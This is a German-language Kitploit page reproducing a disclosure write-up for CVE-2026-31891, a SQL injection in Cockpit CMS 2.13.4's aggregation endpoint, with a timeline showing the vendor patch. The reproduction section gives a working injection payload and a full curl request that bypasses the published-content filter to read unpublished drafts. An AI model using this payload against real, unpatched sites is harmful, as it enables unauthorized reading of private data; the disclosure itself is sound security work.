Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31891 — SQL-Injection im MongoLite-Aggregations-Optimizer über toJsonExtractRaw() | Kitploit
Tools/GitHubGitHub/ffasterss/cve-2026-31891
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsDatenbanksicherheit
GitHubffasterss/cve-2026-31891

CVE-2026-31891

SQL-Injection im MongoLite-Aggregations-Optimizer über toJsonExtractRaw()

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

SQL-Injection im MongoLite-Aggregations-Optimizer über toJsonExtractRaw()

  • Schwachstellenklasse: SQL-Injection (CWE-89)
  • Produkt: Cockpit CMS (Core Edition)
  • Betroffene Version: 2.13.4 und wahrscheinlich alle Versionen seit Einführung des Aggregations-Optimizers
  • Getestetes Docker-Image: cockpithq/cockpit:core-2.13.4
  • Quell-Commit: 7fe563023b7fae854c857d2e2dc0878ef28fbb5f (Tag 2.13.4)
  • GitHub: https://github.com/Cockpit-HQ/Cockpit
  • Entdeckungsdatum: 2026-02-28
  • CVSS-Score: 7,7 (Hoch) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

1. Zusammenfassung

Eine SQL-Injection-Schwachstelle wurde im Cockpit CMS (Core Edition Version 2.13.4) identifiziert. Die Schwachstelle existiert im MongoLite-Aggregations-Optimizer, insbesondere in der Methode . Benutzergesteuerte Feldnamen werden ohne ordnungsgemäße Bereinigung direkt in SQL-Abfragen eingefügt.

toJsonExtractRaw()

Ein authentifizierter Angreifer mit Lesezugriff (über einen API-Schlüssel) auf ein Content-Modell kann über den REST-Endpunkt /api/content/aggregate/{model} beliebige SQL-Befehle in die Aggregations-Pipeline injizieren.

Dieser Fehler ermöglicht Angreifern:

  • Den vorgesehenen Filter für veröffentlichte Inhalte (_state=1) zu umgehen, um unveröffentlichte Entwürfe zu lesen.
  • Vollständige Dokumentinhalte aus beliebigen Sammlungen in derselben SQLite-Datenbank zu extrahieren.
  • Das interne Datenbankschema über sqlite_master aufzulisten.

2. Schritt-für-Schritt-Reproduktion des Exploits

Die folgenden Schritte zeigen, wie ein Angreifer den Autorisierungsfilter _state=1 umgehen kann.

Voraussetzungen

  • Cockpit CMS 2.13.4 oder niedriger
  • Ein API-Schlüssel mit mindestens Lesezugriff auf ein Content-Sammlungsmodell.

2.1: Content-Modell konfigurieren

  1. Melden Sie sich als Administrator im Cockpit-CMS-Admin-Dashboard an.
  2. Navigieren Sie zu Inhalt > Modelle und erstellen Sie ein neues Modell mit dem Namen testcol.
  3. Fügen Sie dem Modell zwei Textfelder hinzu: title und body.

Screenshot: Einrichtung des testcol-Content-Modells Einrichtung des testcol-Content-Modells

2.2: API-Rolle und -Schlüssel konfigurieren

  1. Navigieren Sie zu Einstellungen > Rollen.
  2. Erstellen oder ändern Sie eine Rolle (z. B. MasterRole), sodass sie LESE-Berechtigung für das Modell testcol hat.

Screenshot: Konfiguration der Rollenberechtigungen für die Sammlung Konfiguration der Rollenberechtigungen für die Sammlung

  1. Navigieren Sie zu Einstellungen > API & Sicherheit (API-Schlüssel).
  2. Fügen Sie einen neuen API-Schlüssel hinzu und weisen Sie ihm die soeben konfigurierte MasterRole zu. Kopieren Sie den Schlüsselwert (z. B. API-b8e8...).

Screenshot: Einrichtung des API-Schlüssels mit der Rolle für Lesezugriff Einrichtung des API-Schlüssels mit der Rolle für Lesezugriff

2.3: Beispielinhalte erstellen (einschließlich eines geheimen Entwurfs)

  1. Gehen Sie zu Inhalt > testcol.
  2. Erstellen Sie ein Element mit dem Titel Public und setzen Sie dessen Status auf VERÖFFENTLICHT (grünes Symbol).
  3. Erstellen Sie ein zweites Element mit dem Titel SECRET_DRAFT und setzen Sie dessen Status auf NICHT VERÖFFENTLICHT (rotes Symbol).

Screenshot: Die Elementliste mit einem veröffentlichten und einem unveröffentlichten Element Die Elementliste mit einem veröffentlichten und einem unveröffentlichten Element

2.4: Den Exploit ausführen

Standardmäßig geben normale API-Abfragen nur Inhalte zurück, deren Status „Veröffentlicht" ist. Durch das Injizieren von SQL in die Aggregations-Pipeline kann der Filter für veröffentlichte Inhalte jedoch umgangen werden.

  1. Erstellen Sie die folgende Nutzlast. Die Nutzlast bricht aus der SQL-Funktion json_extract() aus und fügt einen SQL-Kommentar -- hinzu, um das nachfolgende SQL zu neutralisieren, wobei gezielt die WHERE-Klausel angegriffen wird, die die Ergebnisse auf veröffentlichte Elemente beschränkt.

Injiziertes Feld:

root@kitploit:~
$title') as _id FROM collections_testcol--

Vollständige Pipeline-JSON:

root@kitploit:~
[{"$group": {"_id": "$title') as _id FROM collections_testcol--", "c": {"$sum": 1}}}]
  1. URL-kodieren Sie die Pipeline-JSON und senden Sie eine GET-Anfrage über den Browser (oder curl) an den Endpunkt /api/content/aggregate/testcol. Ersetzen Sie YOUR_API_KEY durch den in Schritt 2.2 generierten Schlüssel:
root@kitploit:~
curl "http://localhost:8080/api/content/aggregate/testcol?api_key=YOUR_API_KEY&pipeline=%5B%7B%22%24group%22%3A%20%7B%22_id%22%3A%20%22%24title%27%29%20as%20_id%20FROM%20collections_testcol--%22%2C%20%22c%22%3A%20%7B%22%24sum%22%3A%201%7D%7D%7D%5D"

2.5: Exploit-Verifizierung

Wie im letzten Screenshot unten gezeigt, gibt die API-Antwort erfolgreich das Element SECRET_DRAFT zurück, obwohl es ausdrücklich als NICHT VERÖFFENTLICHT markiert ist. Dies bestätigt, dass die SQL-Injection den zentralen Autorisierungsmechanismus der Anwendung umgeht und einen unbefugten Datenabruf über die API ermöglicht.

Screenshot: Erfolgreiche Extraktion der unveröffentlichten 'SECRET_DRAFT'-Daten Erfolgreiche Extraktion der unveröffentlichten 'SECRET_DRAFT'-Daten

3. Auswirkung -- Konsequenz

In einer klassischen Headless-CMS-Bereitstellung wird ein öffentlicher, schreibgeschützter API-Schlüssel häufig im Frontend-JavaScript eingebettet/hartcodiert. Durch die Ausnutzung dieser Schwachstelle über den öffentlichen API-Endpunkt kann ein Angreifer:

  • Den Filter für veröffentlichte Inhalte umgehen, um unveröffentlichte Entwürfe, archivierte Elemente und versteckte Inhalte zu lesen.
  • Alle Inhaltsammlungen in derselben content.sqlite-Datenbank lesen, einschließlich Sammlungen, für die der API-Schlüssel nicht autorisiert ist.
  • Das Datenbankschema über sqlite_master aufzählen, um alle Tabellennamen und -strukturen zu entdecken.

4. Offenlegungszeitplan

DatumAktion
2026-02-28Schwachstelle während autorisierter Sicherheitsforschung entdeckt
2026-03-02Bericht an den Anbieter übermittelt
2026-03-02Fix des Anbieters -- https://github.com/Cockpit-HQ/Cockpit/commit/b6a0b45c5e8fe16f3027b889583cc3a9127ab4b0
2026-03-09Patch veröffentlicht v 2.13.5 -- https://getcockpit.com/releases

Anhang:

  • https://github.com/Cockpit-HQ/Cockpit/security/advisories/GHSA-7x5c-vfhj-9628
  • https://www.cve.org/CVERecord?id=CVE-2026-31891
Tool herunterladen